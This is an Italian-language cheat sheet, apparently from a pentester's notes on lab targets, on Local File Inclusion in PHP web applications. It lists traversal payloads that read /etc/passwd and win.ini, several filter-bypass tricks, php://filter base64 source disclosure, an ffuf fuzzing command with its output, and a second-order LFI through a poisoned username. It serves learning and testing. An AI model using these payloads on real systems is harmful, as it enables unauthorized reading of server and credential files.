tags: LFI php web local_file_inclusion


La Local File Inclusion è una vulnerabilità che si presenta quando in un url di un determinato sito web si vede una richiesta GET da parte di un linguaggio di programmazione come potrebbe essere php la quale se non sanitizzata correttamente potrebbe permettere ad un utente malevolo di ottenere file che non dovrebbe ottenere o anche di eseguire comandi arbitrari all’interno della macchina. Un tipico esempio di url potenzialmente vulnerabile potrebbe essere il seguente:

In una situazione come questa un utente potrebbe richiedere al posto del file userCV.pdf per esempio /etc/passwd.

Gli attacchi LFI contro le applicazioni web sono spesso dovuti alla mancanza di consapevolezza della sicurezza da parte degli sviluppatori. Con PHP, l’uso di funzioni come include, require, include_once e require_once spesso contribuisce a rendere vulnerabili le applicazioni web. Vale la pena notare che le vulnerabilità LFI si verificano anche quando si usano altri linguaggi come ASP, JSP o persino nelle app Node.js. Gli exploit LFI seguono gli stessi concetti del path traversal.

Un test che puoi fare è quello di provare a mettere il file robots.txt nell’URL:

http://webapp.thm/get.php?file=robots.txt

Esempi:

Doppiare il payload

http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd

In questo modo viene bypassato il filtro ../.

La sottostringa …// non è l’unico bypass che possiamo utilizzare, poiché potremmo usare …/./ o …/ e diversi altri payload LFI ricorsivi. Inoltre, in alcuni casi, l’escape del carattere slash può anche funzionare per evitare i filtri di attraversamento del percorso (ad esempio …/), o l’aggiunta di slash aggiuntivi (ad esempio …////).

Bypass Null Byte

http://example.com/index.php?file=../../etc/passwd%00
 
# In windows:
 
https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini%00

Bypass Null Byte con estensione immagine

Alle volte l’oggetto che viene richiamato dall’applicazione richiede un’estensione come per esempio jpg o png come in questo caso:

 
https://webapp/image?filename=45.jpg
 

Possiamo bypassare questo filtro nel seguente modo:

https://webapp/image?filename=../../../etc/passwd%00.jpg

Bypass con Query String:

http://example.com/index.php?file=../../etc/passwd?

Utilizzo di Wrapper PHP:

I filtri PHP sono un tipo di wrapper PHP, tramite il quale possiamo passare diversi tipi di input e filtrarli in base al filtro specificato. Per utilizzare i flussi wrapper PHP, possiamo usare lo schema php:// nella nostra stringa e possiamo accedere al wrapper del filtro PHP con php://filter/.

Il wrapper del filtro ha diversi parametri, ma quelli principali di cui abbiamo bisogno per il nostro attacco sono resource e read. Il parametro resource è obbligatorio per i wrapper del filtro e con esso possiamo specificare il flusso su cui desideriamo applicare il filtro (ad esempio, un file locale), mentre il parametro read può applicare diversi filtri alla risorsa di input, quindi possiamo usarlo per specificare quale filtro vogliamo applicare alla nostra risorsa.

Sono disponibili quattro diversi tipi di filtri: filtri stringa, filtri di conversione, filtri di compressione e filtri di crittografia. Per le LFI il più utilizzato è convert.base64-encode.

Esempio

Questo filtro ti permette di vedere il codice php di una pagina perchè convertendo il contenuto in base64 il browser non riesce ad eseguirlo e quindi ti risponde con il codice php convertito in base64 che ci basta decodificare per leggerlo.

http://example.com/index.php?file=php://filter/convert.base64-encode/resource=index.php
 
 
php://filter/convert.base64-encode/resource=/etc/passwd

nota

In questo caso abbiamo aggiunto anche l'estensione .php al file index, ma non è detto che sia sempre necessario perchè se l'applicazione attacca automaticamente l'estensione al file risulterebbe index.php.php e non riuscirebbe a trovare la risorsa desiderata.

Per convertirlo possiamo usare o un qualsiasi tool oppure Bash:

echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d

Encodeare in URL

Come nota fondamentale ricordati di encodeare solo i . e gli /, ma non le cartelle come nel seguente modo:

 
#Questo payload è stato encodeato in URL solo una volta
 
../../etc/passwd %2e%2e%2f%2e%2e%2fetc%2fpasswd
 
#Quest'altro invece è stato encodeato 2 volte in URL
 
../../../etc/passwd  -> %25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc%25%32%66passwd
 

nota

Affinché questo funzioni, dobbiamo codificare tramite URL tutti i caratteri, inclusi i punti. Alcuni codificatori URL potrebbero non codificare i punti, poiché sono considerati parte dello schema URL. Burp Suite è un ottimo strumento per questo, potremmo anche utilizzare Burp Decoder per codificare nuovamente la stringa codificata in modo da ottenere una stringa doppiamente codificata, che potrebbe anche bypassare altri tipi di filtri.

Obbligo di File Path

Alle volte può succedere di trovare una LFI che ti permette di effettuare questo attacco solo ed esclusivamente se viene mantenuto il path originale come per esempio questo:

 
https://webapp/image?filename=/var/www/images/44.jpg
 
# E trasformarlo in questo:
 
https://webapp/image?filename=/var/www/images/../../../etc/passwd
 
 

Obbligo del prefisso

Nel caso in cui il server fosse configurato in questo modo:

include("lang_" . $_GET['language']);

Se provassimo ad aggiungere il payload ../../../etc/passwd apparirebbe lang_../../../passwd che risulterebbe sbagliato, per ovviare a questa situazione ci è suffieciente mettere uno / prima del nostro payload in modo tale che il server consideri il prefisso come una cartella:

/../../../etc/paaswd

nota

Questo potrebbe non funzionare sempre, poiché in questo esempio una directory denominata lang_/ potrebbe non esistere, quindi il nostro percorso relativo potrebbe non essere corretto. Inoltre, qualsiasi prefisso aggiunto al nostro input potrebbe compromettere alcune tecniche di inclusione dei file.

File con estensioni

Un’altra buona pratica è quella di cercare file con estensioni .php per esempio con FFUF:

ffuf -w /opt/wordlists/SecList/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -u 'http://94.237.58.137:44500/FUZZ.php' -fs 2278 2>/dev/null -ic
 
                        [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 49ms]
index                   [Status: 200, Size: 2652, Words: 690, Lines: 64, Duration: 54ms]
en                      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 48ms]
es                      [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 48ms]
configure               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 54ms]
                        [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 56ms]

LFI di secondo ordine

Come possiamo vedere, gli attacchi LFI possono presentarsi in diverse forme. Un altro attacco LFI comune, e un po’ più avanzato, è un attacco di secondo ordine. Questo si verifica perché molte funzionalità delle applicazioni web potrebbero estrarre file dal server back-end in modo non sicuro, in base a parametri controllati dall’utente.

Ad esempio, un’applicazione web potrebbe consentirci di scaricare il nostro avatar tramite un URL come (/profile/$username/avatar.png). Se creiamo un nome utente LFI dannoso (ad esempio ../../../etc/passwd), potremmo modificare il file estratto in un altro file locale sul server e impossessarcene al posto del nostro avatar.

In questo caso, stiamo avvelenando una voce del database con un payload LFI dannoso nel nostro nome utente. Quindi, un’altra funzionalità dell’applicazione web utilizzerebbe questa voce avvelenata per eseguire il nostro attacco (ovvero scaricare il nostro avatar in base al valore del nome utente). Ecco perché questo attacco è chiamato attacco di secondo ordine.

Gli sviluppatori spesso trascurano queste vulnerabilità, poiché potrebbero proteggere dall’input diretto dell’utente (ad esempio da un parametro ?page), ma potrebbero fidarsi dei valori estratti dal loro database, come il nostro nome utente in questo caso. Se riuscissimo a infettare il nostro nome utente durante la registrazione, l’attacco sarebbe possibile.